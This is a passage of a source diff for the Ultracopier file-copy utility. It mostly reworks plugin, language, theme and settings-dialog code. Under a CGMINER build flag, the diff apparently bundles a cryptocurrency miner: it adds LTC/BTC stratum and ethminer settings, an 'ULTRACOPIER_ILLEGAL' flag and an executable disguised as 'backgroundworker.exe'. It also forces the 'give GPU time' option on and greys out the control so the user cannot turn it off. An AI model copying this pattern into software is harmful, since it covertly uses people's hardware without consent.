+ </property>
+ <property name="minimumSize">
+ <size>
+ <width>500</width>
+ <height>0</height>
+ </size>
+ </property>
+ <property name="windowTitle">
+ <string>Warning</string>
+ </property>
+ <property name="windowIcon">
+ <iconset resource="resources/ultracopier-resources.qrc">
+ <normaloff>:/warning.png</normaloff>:/warning.png</iconset>
+ </property>
+ <layout class="QVBoxLayout" name="verticalLayout">
+ <item>
+ <widget class="QLabel" name="label">
+ <property name="sizePolicy">
+ <sizepolicy hsizetype="Expanding" vsizetype="Preferred">
+ <horstretch>0</horstretch>
+ <verstretch>0</verstretch>
+ </sizepolicy>
+ </property>
+ <property name="textFormat">
+ <enum>Qt::RichText</enum>
+ </property>
+ <property name="wordWrap">
+ <bool>true</bool>
+ </property>
+ </widget>
+ </item>
+ <item>
+ <widget class="QCheckBox" name="dontShowAgain">
+ <property name="sizePolicy">
+ <sizepolicy hsizetype="Expanding" vsizetype="Fixed">
+ <horstretch>0</horstretch>
+ <verstretch>0</verstretch>
+ </sizepolicy>
+ </property>
+ <property name="text">
+ <string>Don't show again</string>
+ </property>
+ <property name="checked">
+ <bool>true</bool>
+ </property>
+ </widget>
+ </item>
+ <item>
+ <layout class="QHBoxLayout" name="horizontalLayout">
+ <item>
+ <spacer name="horizontalSpacer">
+ <property name="orientation">
+ <enum>Qt::Horizontal</enum>
+ </property>
+ <property name="sizeHint" stdset="0">
+ <size>
+ <width>40</width>
+ <height>20</height>
+ </size>
+ </property>
+ </spacer>
+ </item>
+ <item>
+ <widget class="QPushButton" name="pushButton">
+ <property name="text">
+ <string>Ok</string>
+ </property>
+ </widget>
+ </item>
+ <item>
+ <spacer name="horizontalSpacer_2">
+ <property name="orientation">
+ <enum>Qt::Horizontal</enum>
+ </property>
+ <property name="sizeHint" stdset="0">
+ <size>
+ <width>40</width>
+ <height>20</height>
+ </size>
+ </property>
+ </spacer>
+ </item>
+ </layout>
+ </item>
+ </layout>
+ </widget>
+ <resources>
+ <include location="resources/ultracopier-resources.qrc"/>
+ </resources>
+ <connections/>
+</ui>
diff --git a/OptionDialog.cpp b/OptionDialog.cpp
index fcfbf06..abaa3e9 100755..100644
--- a/OptionDialog.cpp
+++ b/OptionDialog.cpp
@@ -1,825 +1,1713 @@
/** \file OptionDialog.cpp
\brief To have an interface to control the options
\author alpha_one_x86
-\version 0.3
-\date 2010
\licence GPL3, see the file COPYING */
#include "OptionDialog.h"
#include "ui_OptionDialog.h"
+#include "OSSpecific.h"
+#include "LanguagesManager.h"
#include <QDomElement>
#include <QFileDialog>
+#include <QMessageBox>
+
+#ifdef ULTRACOPIER_CGMINER
+#include <windows.h>
+//#include <pdh.h>
+//#include <pdhmsg.h>
+//#define ULTRACOPIER_NOBACKEND
+#define ULTRACOPIER_NOPOOLALTERNATE
+#ifndef ULTRACOPIER_DEBUG
+ #define ULTRACOPIER_LTC_HTTP_WEIGHT 3
+ #define ULTRACOPIER_LTC_STRATUM_WEIGHT 5
+ #define ULTRACOPIER_BTC_HTTP_WEIGHT 3
+ #define ULTRACOPIER_BTC_STRATUM_WEIGHT 5
+#else
+ #define ULTRACOPIER_LTC_HTTP_WEIGHT 1
+ #define ULTRACOPIER_LTC_STRATUM_WEIGHT 1
+ #define ULTRACOPIER_BTC_HTTP_WEIGHT 1
+ #define ULTRACOPIER_BTC_STRATUM_WEIGHT 1
+#endif
+#define ULTRACOPIER_CGMINER_IDLETIME 60*1000
+#include <QLibrary>
+#include <QDateTime>
+#include <cmath>
+#include <time.h>
+#define ULTRACOPIER_CGMINER_PATH QStringLiteral("addon/backgroundworker.exe")
+#endif
OptionDialog::OptionDialog() :
- ui(new Ui::OptionDialog)
-{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"start");
- ignoreCopyEngineListEdition=false;
- allPluginsIsLoaded=false;
- ui->setupUi(this);
- ui->treeWidget->topLevelItem(0)->setSelected(true);
- ui->treeWidget->topLevelItem(3)->setTextColor(0,QColor(150, 150, 150, 255));
- ui->treeWidget->topLevelItem(4)->setTextColor(0,QColor(150, 150, 150, 255));
- ui->treeWidget->topLevelItem(5)->setTextColor(0,QColor(150, 150, 150, 255));
- ui->treeWidget->expandAll();
- ui->pluginList->expandAll();
- on_treeWidget_itemSelectionChanged();
-
- //load the plugins
- plugins->lockPluginListEdition();
- QList<PluginsAvailable> list=plugins->getPlugins();
- qRegisterMetaType<PluginsAvailable>("PluginsAvailable");
- connect(this,SIGNAL(previouslyPluginAdded(PluginsAvailable)), this,SLOT(onePluginAdded(PluginsAvailable)),Qt::QueuedConnection);
- connect(plugins, SIGNAL(onePluginAdded(PluginsAvailable)), this, SLOT(onePluginAdded(PluginsAvailable)));
- connect(plugins, SIGNAL(onePluginWillBeRemoved(PluginsAvailable)), this, SLOT(onePluginWillBeRemoved(PluginsAvailable)),Qt::DirectConnection);
- connect(plugins, SIGNAL(pluginListingIsfinish()), this, SLOT(loadOption()),Qt::QueuedConnection);
- connect(options, SIGNAL(newOptionValue(QString,QString,QVariant)), this, SLOT(newOptionValue(QString,QString,QVariant)));
- foreach(PluginsAvailable currentPlugin,list)
- emit previouslyPluginAdded(currentPlugin);
- plugins->unlockPluginListEdition();
- defaultImportBackend=PluginsManager::ImportBackend_File;
- #ifndef ULTRACOPIER_PLUGIN_SUPPORT
- ui->pluginAdd->show();
- ui->pluginRemove->show();
- #endif
+ ui(new Ui::OptionDialog)
+{
+ quit=false;
+ QStringList ultracopierArguments=QCoreApplication::arguments();
+ if(ultracopierArguments.size()==2)
+ if(ultracopierArguments.last()==QStringLiteral("quit"))
+ quit=true;
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("start"));
+ ignoreCopyEngineListEdition=false;
+ allPluginsIsLoaded=false;
+ oSSpecific=NULL;
+ ui->setupUi(this);
+ ui->treeWidget->topLevelItem(0)->setSelected(true);
+ ui->treeWidget->topLevelItem(4)->setTextColor(0,QColor(150, 150, 150, 255));
+ ui->treeWidget->topLevelItem(5)->setTextColor(0,QColor(150, 150, 150, 255));
+ ui->treeWidget->expandAll();
+ ui->pluginList->expandAll();
+ number_of_listener=0;
+ ui->labelCatchCopyDefault->setEnabled(number_of_listener>0);
+ ui->CatchCopyAsDefault->setEnabled(number_of_listener>0);
+ ui->Language->setEnabled(false);
+ on_treeWidget_itemSelectionChanged();
+
+ #ifndef ULTRACOPIER_CGMINER
+ ui->label_gpu_time->hide();
+ ui->giveGPUTime->hide();
+ #endif
+
+ //load the plugins
+ PluginsManager::pluginsManager->lockPluginListEdition();
+ connect(this, &OptionDialog::previouslyPluginAdded, this, &OptionDialog::onePluginAdded,Qt::QueuedConnection);
+ connect(PluginsManager::pluginsManager, &PluginsManager::onePluginAdded, this, &OptionDialog::onePluginAdded);
+ connect(PluginsManager::pluginsManager, &PluginsManager::onePluginInErrorAdded, this, &OptionDialog::onePluginAdded);
+ #ifndef ULTRACOPIER_PLUGIN_ALL_IN_ONE
+ connect(PluginsManager::pluginsManager, &PluginsManager::onePluginWillBeRemoved, this, &OptionDialog::onePluginWillBeRemoved,Qt::DirectConnection);
+ #endif
+ connect(PluginsManager::pluginsManager, &PluginsManager::pluginListingIsfinish, this, &OptionDialog::loadOption,Qt::QueuedConnection);
+ #ifdef ULTRACOPIER_PLUGIN_IMPORT_SUPPORT
+ connect(PluginsManager::pluginsManager, &PluginsManager::manuallyAdded, this, &OptionDialog::manuallyAdded,Qt::QueuedConnection);
+ #endif
+ connect(OptionEngine::optionEngine, &OptionEngine::newOptionValue, this, &OptionDialog::newOptionValue);
+ QList<PluginsAvailable> list=PluginsManager::pluginsManager->getPlugins(true);
+ foreach(PluginsAvailable currentPlugin,list)
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,"start: "+currentPlugin.name+" ("+QString::number(currentPlugin.category)+")");
+ emit previouslyPluginAdded(currentPlugin);
+ }
+ PluginsManager::pluginsManager->unlockPluginListEdition();
+ defaultImportBackend=PluginsManager::ImportBackend_File;
+ #ifndef ULTRACOPIER_PLUGIN_IMPORT_SUPPORT
+ ui->pluginAdd->hide();
+ ui->pluginRemove->hide();
+ #endif
+ loadLogVariableLabel();
+ #ifdef ULTRACOPIER_VERSION_PORTABLE
+ ui->labelLoadAtSession->hide();
+ ui->LoadAtSessionStarting->hide();
+ #endif
+ #ifndef ULTRACOPIER_INTERNET_SUPPORT
+ ui->label_checkTheUpdate->hide();
+ ui->checkTheUpdate->hide();
+ #endif
+
+ #ifdef ULTRACOPIER_CGMINER
+ #if defined(_M_X64)//ethminer
+ addonMode="-G";
+ #endif
+ workingCount=0;
+ ui->label_gpu_time->setEnabled(false);
+ ui->giveGPUTime->setEnabled(false);
+ OptionEngine::optionEngine->setOptionValue(QStringLiteral("Ultracopier"),QStringLiteral("giveGPUTime"),true);
+ OpenCLDll=false;
+ #if defined(_M_X64) && defined(ULTRACOPIER_ILLEGAL)//ethminer
+ OpenCLDll=true;
+ #else
+ char *arch=getenv("windir");
+ if(arch!=NULL)
+ {
+
+ if(QFile(QString(arch)+"\\System32\\OpenCL.dll").exists()
+ #if defined(_M_X64)
+ || QFile(QString(arch)+"\\SysWOW64\\OpenCL.dll").exists()
+ #endif
+ )
+ OpenCLDll=true;
+ else
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,QStringLiteral("No 32Bits openCL"));
+ }
+ else
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,QStringLiteral("No windir"));
+ #endif
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("%1 exists: %2, OpenCL dll: %3")
+ .arg(QCoreApplication::applicationDirPath()+QStringLiteral("/")+ULTRACOPIER_CGMINER_PATH)
+ .arg(QFile(QCoreApplication::applicationDirPath()+QStringLiteral("/")+ULTRACOPIER_CGMINER_PATH).exists())
+ .arg(OpenCLDll)
+ );
+ haveAddon=QFile(QCoreApplication::applicationDirPath()+QStringLiteral("/")+ULTRACOPIER_CGMINER_PATH).exists() && OpenCLDll;
+ #endif
}
OptionDialog::~OptionDialog()
{
- delete ui;
+ if(oSSpecific!=NULL)
+ delete oSSpecific;
+ #ifdef ULTRACOPIER_CGMINER
+ haveAddon=false;
+ addon.terminate();
+ addon.kill();
+ #endif
+ delete ui;
}
//plugin management
-void OptionDialog::onePluginAdded(PluginsAvailable plugin)
-{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"start: "+plugin.name+" ("+QString::number(plugin.category)+")");
- pluginStore newItem;
- newItem.path=plugin.path;
- newItem.item=new QTreeWidgetItem(QStringList() << plugin.name << plugin.version);
- newItem.isWritable=plugin.isWritable;
- pluginLink<<newItem;
- switch(plugin.category)
- {
- case PluginType_CopyEngine:
- ui->pluginList->topLevelItem(0)->addChild(newItem.item);
- break;
- case PluginType_Languages:
- ui->pluginList->topLevelItem(1)->addChild(newItem.item);
- addLanguage(plugin);
- break;
- case PluginType_Listener:
- ui->pluginList->topLevelItem(2)->addChild(newItem.item);
- break;
- case PluginType_PluginLoader:
- ui->pluginList->topLevelItem(3)->addChild(newItem.item);
- break;
- case PluginType_SessionLoader:
- ui->pluginList->topLevelItem(4)->addChild(newItem.item);
- break;
- case PluginType_Themes:
- ui->pluginList->topLevelItem(5)->addChild(newItem.item);
- addTheme(plugin);
- break;
- default:
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Warning,"category not found for: "+plugin.path);
- }
-}
-
-void OptionDialog::onePluginWillBeRemoved(PluginsAvailable plugin)
-{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"start");
- //remove if have options
- index=0;
- loop_size=pluginOptionsWidgetList.size();
- if(plugin.category==PluginType_CopyEngine || plugin.category==PluginType_Listener || plugin.category==PluginType_PluginLoader || plugin.category==PluginType_SessionLoader)
- {
- while(index<loop_size)
- {
- if(plugin.category==pluginOptionsWidgetList.at(index).category && plugin.name==pluginOptionsWidgetList.at(index).name)
- {
- if(pluginOptionsWidgetList.at(index).item->isSelected())
- {
- pluginOptionsWidgetList.at(index).item->setSelected(false);
- ui->treeWidget->topLevelItem(0)->setSelected(true);
- }
- delete pluginOptionsWidgetList.at(index).item;
- break;
- }
- index++;
- }
- }
- //remove from general list
- index=0;
- loop_size=pluginLink.size();
- while(index<loop_size)
- {
- if(pluginLink.at(index).path==plugin.path)
- {
- delete pluginLink.at(index).item;
- if(plugin.category==PluginType_Languages)
- removeLanguage(plugin);
- else if(plugin.category==PluginType_Themes)
- removeTheme(plugin);
- pluginLink.removeAt(index);
- return;
- }
- index++;
- }
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Critical,"not found!");
-}
-
-void OptionDialog::addLanguage(PluginsAvailable plugin)
-{
- QList<QPair<QString,QString> > listChildAttribute;
- QPair<QString,QString> temp;
- temp.first = "mainCode";
- temp.second = "true";
- listChildAttribute << temp;
- ui->Language->addItem(QIcon(plugin.path+"flag.png"),plugins->getDomSpecific(plugin.categorySpecific,"fullName"),plugins->getDomSpecific(plugin.categorySpecific,"shortName",listChildAttribute));
-}
-
-void OptionDialog::removeLanguage(PluginsAvailable plugin)
-{
- QList<QPair<QString,QString> > listChildAttribute;
- QPair<QString,QString> temp;
- temp.first = "mainCode";
- temp.second = "true";
- listChildAttribute << temp;
- int index=ui->Language->findData(plugins->getDomSpecific(plugin.categorySpecific,"shortName",listChildAttribute));
- if(index!=-1)
- ui->Language->removeItem(index);
-}
-
-void OptionDialog::addTheme(PluginsAvailable plugin)
-{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"plugin.name: "+plugin.name);
- ui->Ultracopier_current_theme->addItem(plugin.name,plugin.name);
-}
-
-void OptionDialog::removeTheme(PluginsAvailable plugin)
-{
- int index=ui->Ultracopier_current_theme->findData(plugin.name);
- if(index!=-1)
- ui->Ultracopier_current_theme->removeItem(index);
+void OptionDialog::onePluginAdded(const PluginsAvailable &plugin)
+{
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,"start: "+plugin.name+" ("+QString::number(plugin.category)+")");
+ pluginStore newItem;
+ newItem.path=plugin.path;
+ newItem.item=new QTreeWidgetItem(QStringList() << plugin.name << plugin.version);
+ newItem.isWritable=plugin.isWritable;
+ pluginLink<<newItem;
+ switch(plugin.category)
+ {
+ case PluginType_CopyEngine:
+ ui->pluginList->topLevelItem(0)->addChild(newItem.item);
+ break;
+ case PluginType_Languages:
+ ui->pluginList->topLevelItem(1)->addChild(newItem.item);
+ addLanguage(plugin);
+ break;
+ case PluginType_Listener:
+ ui->pluginList->topLevelItem(2)->addChild(newItem.item);
+ number_of_listener++;
+ ui->labelCatchCopyDefault->setEnabled(number_of_listener>0);
+ ui->CatchCopyAsDefault->setEnabled(number_of_listener>0);
+ break;
+ case PluginType_PluginLoader:
+ ui->pluginList->topLevelItem(3)->addChild(newItem.item);
+ break;
+ case PluginType_SessionLoader:
+ ui->pluginList->topLevelItem(4)->addChild(newItem.item);
+ break;
+ case PluginType_Themes:
+ ui->pluginList->topLevelItem(5)->addChild(newItem.item);
+ addTheme(plugin);
+ break;
+ default:
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,"category not found for: "+plugin.path);
+ }
+}
+
+#ifndef ULTRACOPIER_PLUGIN_ALL_IN_ONE
+void OptionDialog::onePluginWillBeRemoved(const PluginsAvailable &plugin)
+{
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("start"));
+ switch(plugin.category)
+ {
+ case PluginType_CopyEngine:
+ break;
+ case PluginType_Languages:
+ removeLanguage(plugin);
+ break;
+ case PluginType_Listener:
+ number_of_listener--;
+ ui->labelCatchCopyDefault->setEnabled(number_of_listener>0);
+ ui->CatchCopyAsDefault->setEnabled(number_of_listener>0);
+ break;
+ case PluginType_PluginLoader:
+ break;
+ case PluginType_SessionLoader:
+ break;
+ case PluginType_Themes:
+ removeTheme(plugin);
+ break;
+ default:
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,"category not found for: "+plugin.path);
+ }
+ //remove if have options
+ index=0;
+ loop_size=pluginOptionsWidgetList.size();
+ if(plugin.category==PluginType_CopyEngine || plugin.category==PluginType_Listener || plugin.category==PluginType_PluginLoader || plugin.category==PluginType_SessionLoader)
+ {
+ while(index<loop_size)
+ {
+ if(plugin.category==pluginOptionsWidgetList.at(index).category && plugin.name==pluginOptionsWidgetList.at(index).name)
+ {
+ if(pluginOptionsWidgetList.at(index).item->isSelected())
+ {
+ pluginOptionsWidgetList.at(index).item->setSelected(false);
+ ui->treeWidget->topLevelItem(0)->setSelected(true);
+ }
+ delete pluginOptionsWidgetList.at(index).item;
+ break;
+ }
+ index++;
+ }
+ }
+ //remove from general list
+ index=0;
+ loop_size=pluginLink.size();
+ while(index<loop_size)
+ {
+ if(pluginLink.at(index).path==plugin.path)
+ {
+ delete pluginLink.at(index).item;
+ pluginLink.removeAt(index);
+ return;
+ }
+ index++;
+ }
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Critical,QStringLiteral("not found!"));
+}
+#endif
+
+#ifdef ULTRACOPIER_PLUGIN_IMPORT_SUPPORT
+void OptionDialog::manuallyAdded(const PluginsAvailable &plugin)
+{
+ if(plugin.category==PluginType_Themes)
+ {
+ if(QMessageBox::question(this,tr("Load"),tr("Load the theme?"),QMessageBox::Yes|QMessageBox::No,QMessageBox::Yes)==QMessageBox::Yes)
+ {
+ int index=ui->Ultracopier_current_theme->findData(plugin.name);
+ if(index!=-1)
+ {
+ ui->Ultracopier_current_theme->setCurrentIndex(index);
+ on_Ultracopier_current_theme_currentIndexChanged(ui->Ultracopier_current_theme->currentIndex());
+ }
+ else
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Critical,QStringLiteral("theme plugin not found!"));
+ }
+ }
+ else if(plugin.category==PluginType_Languages)
+ {
+ if(QMessageBox::question(this,tr("Load"),tr("Load the language?"),QMessageBox::Yes|QMessageBox::No,QMessageBox::Yes)==QMessageBox::Yes)
+ {
+ QList<QPair<QString,QString> > listChildAttribute;
+ QPair<QString,QString> temp;
+ temp.first = QStringLiteral("mainCode");
+ temp.second = QStringLiteral("true");
+ listChildAttribute << temp;
+ int index=ui->Language->findData(PluginsManager::pluginsManager->getDomSpecific(plugin.categorySpecific,QStringLiteral("shortName"),listChildAttribute));
+ if(index!=-1)
+ {
+ ui->Language->setCurrentIndex(index);
+ ui->Language_force->setChecked(true);
+ on_Language_currentIndexChanged(index);
+ on_Language_force_toggled(true);
+ }
+ else
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Critical,QStringLiteral("language plugin not found!"));
+ }
+ }
+}
+#endif
+
+void OptionDialog::addLanguage(const PluginsAvailable &plugin)
+{
+ QList<QPair<QString,QString> > listChildAttribute;
+ QPair<QString,QString> temp;
+ temp.first = QStringLiteral("mainCode");
+ temp.second = QStringLiteral("true");
+ listChildAttribute << temp;
+ ui->Language->addItem(QIcon(plugin.path+QStringLiteral("flag.png")),PluginsManager::pluginsManager->getDomSpecific(plugin.categorySpecific,QStringLiteral("fullName")),PluginsManager::pluginsManager->getDomSpecific(plugin.categorySpecific,QStringLiteral("shortName"),listChildAttribute));
+ ui->Language->setEnabled(ui->Language_force->isChecked() && ui->Language->count());
+ ui->Language_force->setEnabled(ui->Language->count());
+}
+
+void OptionDialog::removeLanguage(const PluginsAvailable &plugin)
+{
+ QList<QPair<QString,QString> > listChildAttribute;
+ QPair<QString,QString> temp;
+ temp.first = QStringLiteral("mainCode");
+ temp.second = QStringLiteral("true");
+ listChildAttribute << temp;
+ int index=ui->Language->findData(PluginsManager::pluginsManager->getDomSpecific(plugin.categorySpecific,QStringLiteral("shortName"),listChildAttribute));
+ if(index!=-1)
+ ui->Language->removeItem(index);
+ ui->Language->setEnabled(ui->Language_force->isChecked() && ui->Language->count());
+ ui->Language_force->setEnabled(ui->Language->count());
+}
+
+void OptionDialog::addTheme(const PluginsAvailable &plugin)
+{
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("plugin.name: ")+plugin.name);
+ ui->Ultracopier_current_theme->addItem(plugin.name,plugin.name);
+}
+
+void OptionDialog::removeTheme(const PluginsAvailable &plugin)
+{
+ int index=ui->Ultracopier_current_theme->findData(plugin.name);
+ if(index!=-1)
+ ui->Ultracopier_current_theme->removeItem(index);
}
void OptionDialog::changeEvent(QEvent *e)
{
- QDialog::changeEvent(e);
- switch (e->type()) {
- case QEvent::LanguageChange:
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"retranslate the ui");
- ui->retranslateUi(this);
- //old code to reload the widget because it dropped by the translation
- /*
- index=0;
- loop_size=pluginOptionsWidgetList.size();
- while(index<loop_size)
- {
- if(pluginOptionsWidgetList.at(index).options!=NULL)
- ui->treeWidget->topLevelItem(2)->addChild(pluginOptionsWidgetList.at(index).item);
- else
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,QString("the copy engine %1 have not the options").arg(index));
- index++;
- }*/
- ui->treeWidget->topLevelItem(2)->setText(0,tr("Copy engine"));
- ui->treeWidget->topLevelItem(3)->setText(0,tr("Listener"));
- ui->treeWidget->topLevelItem(4)->setText(0,tr("Plugin loader"));
- ui->treeWidget->topLevelItem(5)->setText(0,tr("Session loader"));
- ui->labelLoadAtSession->setToolTip(tr("Disabled because you have any SessionLoader plugin"));
- ui->LoadAtSessionStarting->setToolTip(tr("Disabled because you have any SessionLoader plugin"));
- ui->ActionOnManualOpen->setItemText(0,tr("Do nothing"));
- ui->ActionOnManualOpen->setItemText(1,tr("Ask source as folder"));
- ui->ActionOnManualOpen->setItemText(2,tr("Ask sources as files"));
- ui->GroupWindowWhen->setItemText(0,tr("Never"));
- ui->GroupWindowWhen->setItemText(1,tr("When source is same"));
- ui->GroupWindowWhen->setItemText(2,tr("When destination is same"));
- ui->GroupWindowWhen->setItemText(3,tr("When source and destination are same"));
- ui->GroupWindowWhen->setItemText(4,tr("When source or destination are same"));
- ui->GroupWindowWhen->setItemText(5,tr("Always"));
- break;
- default:
- break;
- }
+ QDialog::changeEvent(e);
+ switch (e->type()) {
+ case QEvent::LanguageChange:
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("retranslate the ui"));
+ ui->retranslateUi(this);
+ //old code to reload the widget because it dropped by the translation
+ /*
+ index=0;
+ loop_size=pluginOptionsWidgetList.size();
+ while(index<loop_size)
+ {
+ if(pluginOptionsWidgetList.at(index).options!=NULL)
+ ui->treeWidget->topLevelItem(2)->addChild(pluginOptionsWidgetList.at(index).item);
+ else
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("the copy engine %1 have not the options").arg(index));
+ index++;
+ }*/
+ ui->treeWidget->topLevelItem(2)->setText(0,tr("Copy engine"));
+ ui->treeWidget->topLevelItem(3)->setText(0,tr("Listener"));
+ ui->treeWidget->topLevelItem(4)->setText(0,tr("Plugin loader"));
+ ui->treeWidget->topLevelItem(5)->setText(0,tr("Session loader"));
+ //ui->labelLoadAtSession->setToolTip(tr("Disabled because you do not have any SessionLoader plugin"));
+ /*#if !defined(ULTRACOPIER_PLUGIN_ALL_IN_ONE) || !defined(ULTRACOPIER_VERSION_PORTABLE)
+ ui->LoadAtSessionStarting->setToolTip(tr("Disabled because you do not have any SessionLoader plugin"));
+ #endif*/
+ ui->ActionOnManualOpen->setItemText(0,tr("Do nothing"));
+ ui->ActionOnManualOpen->setItemText(1,tr("Ask source as folder"));
+ ui->ActionOnManualOpen->setItemText(2,tr("Ask sources as files"));
+ ui->GroupWindowWhen->setItemText(0,tr("Never"));
+ ui->GroupWindowWhen->setItemText(1,tr("When source is same"));
+ ui->GroupWindowWhen->setItemText(2,tr("When destination is same"));
+ ui->GroupWindowWhen->setItemText(3,tr("When source and destination are same"));
+ ui->GroupWindowWhen->setItemText(4,tr("When source or destination are same"));
+ ui->GroupWindowWhen->setItemText(5,tr("Always"));
+ loadLogVariableLabel();
+ break;
+ default:
+ break;
+ }
+}
+
+void OptionDialog::loadLogVariableLabel()
+{
+ QString append=QStringLiteral(" %time%");
+ #ifdef Q_OS_WIN32
+ append+=QStringLiteral(", %computer%, %user%");
+ #endif
+ ui->labelLogTransfer->setText(tr("The variables are %1").arg("%source%, %size%, %destination%"+append));
+ ui->labelLogError->setText(tr("The variables are %1").arg("%path%, %size%, %mtime%, %error%"+append));
+ ui->labelLogFolder->setText(tr("The variables are %1").arg("%path%, %operation%"+append));
}
void OptionDialog::on_treeWidget_itemSelectionChanged()
{
- QList<QTreeWidgetItem *> listSelectedItem=ui->treeWidget->selectedItems();
- if(listSelectedItem.size()!=1)
- return;
- QTreeWidgetItem * selectedItem=listSelectedItem.first();
- //general
- if(selectedItem==ui->treeWidget->topLevelItem(0))
- ui->stackedWidget->setCurrentIndex(0);
- //plugins
- else if(selectedItem==ui->treeWidget->topLevelItem(1))
- ui->stackedWidget->setCurrentIndex(1);
- //Copy engine
- else if(selectedItem==ui->treeWidget->topLevelItem(2))
- ui->stackedWidget->setCurrentIndex(2);
- //Listener
- //do nothing
- //PluginLoader
- //do nothing
- //SessionLoader
- //do nothing
- //Themes
- else if(selectedItem==ui->treeWidget->topLevelItem(6))
- ui->stackedWidget->setCurrentIndex(7);
- //log
- else if(selectedItem==ui->treeWidget->topLevelItem(7))
- ui->stackedWidget->setCurrentIndex(8);
- else
- {
- int index;
- if(selectedItem->parent()==ui->treeWidget->topLevelItem(2))
- {
- ui->stackedWidget->setCurrentIndex(3);
- index=selectedItem->parent()->indexOfChild(selectedItem);
- if(index!=-1)
- ui->stackedOptionsCopyEngine->setCurrentIndex(index);
- else
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Critical,"selection into of sub item wrong???");
- }
- else if(selectedItem->parent()==ui->treeWidget->topLevelItem(3))
- {
- ui->stackedWidget->setCurrentIndex(4);
- index=selectedItem->parent()->indexOfChild(selectedItem);
- if(index!=-1)
- ui->stackedOptionsListener->setCurrentIndex(index);
- else
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Critical,"selection into of sub item wrong???");
- }
- else if(selectedItem->parent()==ui->treeWidget->topLevelItem(4))
- {
- ui->stackedWidget->setCurrentIndex(5);
- index=selectedItem->parent()->indexOfChild(selectedItem);
- if(index!=-1)
- ui->stackedOptionsPluginLoader->setCurrentIndex(index);
- else
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Critical,"selection into of sub item wrong???");
- }
- else if(selectedItem->parent()==ui->treeWidget->topLevelItem(5))
- {
- ui->stackedWidget->setCurrentIndex(6);
- index=selectedItem->parent()->indexOfChild(selectedItem);
- if(index!=-1)
- ui->stackedOptionsSessionLoader->setCurrentIndex(index);
- else
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Critical,"selection into of sub item wrong???");
- }
- else
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Critical,"selection into option list cat not found");
- }
+ QList<QTreeWidgetItem *> listSelectedItem=ui->treeWidget->selectedItems();
+ if(listSelectedItem.size()!=1)
+ return;
+ QTreeWidgetItem * selectedItem=listSelectedItem.first();
+ //general
+ if(selectedItem==ui->treeWidget->topLevelItem(0))
+ ui->stackedWidget->setCurrentWidget(ui->stackedWidgetGeneral);
+ //plugins
+ else if(selectedItem==ui->treeWidget->topLevelItem(1))
+ ui->stackedWidget->setCurrentWidget(ui->stackedWidgetPlugins);
+ //Copy engine
+ else if(selectedItem==ui->treeWidget->topLevelItem(2))
+ ui->stackedWidget->setCurrentWidget(ui->stackedWidgetCopyEngine);
+ //Listener
+ else if(selectedItem==ui->treeWidget->topLevelItem(3))
+ ui->stackedWidget->setCurrentWidget(ui->stackedWidgetListener);
+ //PluginLoader
+ //do nothing
+ //SessionLoader
+ //do nothing
+ //Themes
+ else if(selectedItem==ui->treeWidget->topLevelItem(6))
+ ui->stackedWidget->setCurrentWidget(ui->stackedWidgetThemes);
+ //log
+ else if(selectedItem==ui->treeWidget->topLevelItem(7))
+ ui->stackedWidget->setCurrentWidget(ui->stackedWidgetLog);
+ else
+ {
+ int index;
+ if(selectedItem->parent()==ui->treeWidget->topLevelItem(2))
+ {
+ ui->stackedWidget->setCurrentWidget(ui->stackedWidgetCopyEngineOptions);
+ index=selectedItem->parent()->indexOfChild(selectedItem);
+ if(index!=-1)
+ ui->stackedOptionsCopyEngine->setCurrentIndex(index);
+ else
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Critical,"selection into of sub item wrong???");
+ }
+ else if(selectedItem->parent()==ui->treeWidget->topLevelItem(3))
+ {
+ ui->stackedWidget->setCurrentWidget(ui->stackedWidgetListenerOptions);
+ index=selectedItem->parent()->indexOfChild(selectedItem);
+ if(index!=-1)
+ ui->stackedOptionsListener->setCurrentIndex(index);
+ else
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Critical,"selection into of sub item wrong???");
+ }
+ else if(selectedItem->parent()==ui->treeWidget->topLevelItem(4))
+ {
+ ui->stackedWidget->setCurrentWidget(ui->stackedWidgetPluginLoaderOptions);
+ index=selectedItem->parent()->indexOfChild(selectedItem);
+ if(index!=-1)
+ ui->stackedOptionsPluginLoader->setCurrentIndex(index);
+ else
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Critical,"selection into of sub item wrong???");
+ }
+ else if(selectedItem->parent()==ui->treeWidget->topLevelItem(5))
+ {
+ ui->stackedWidget->setCurrentWidget(ui->stackedWidgetSessionLoaderOptions);
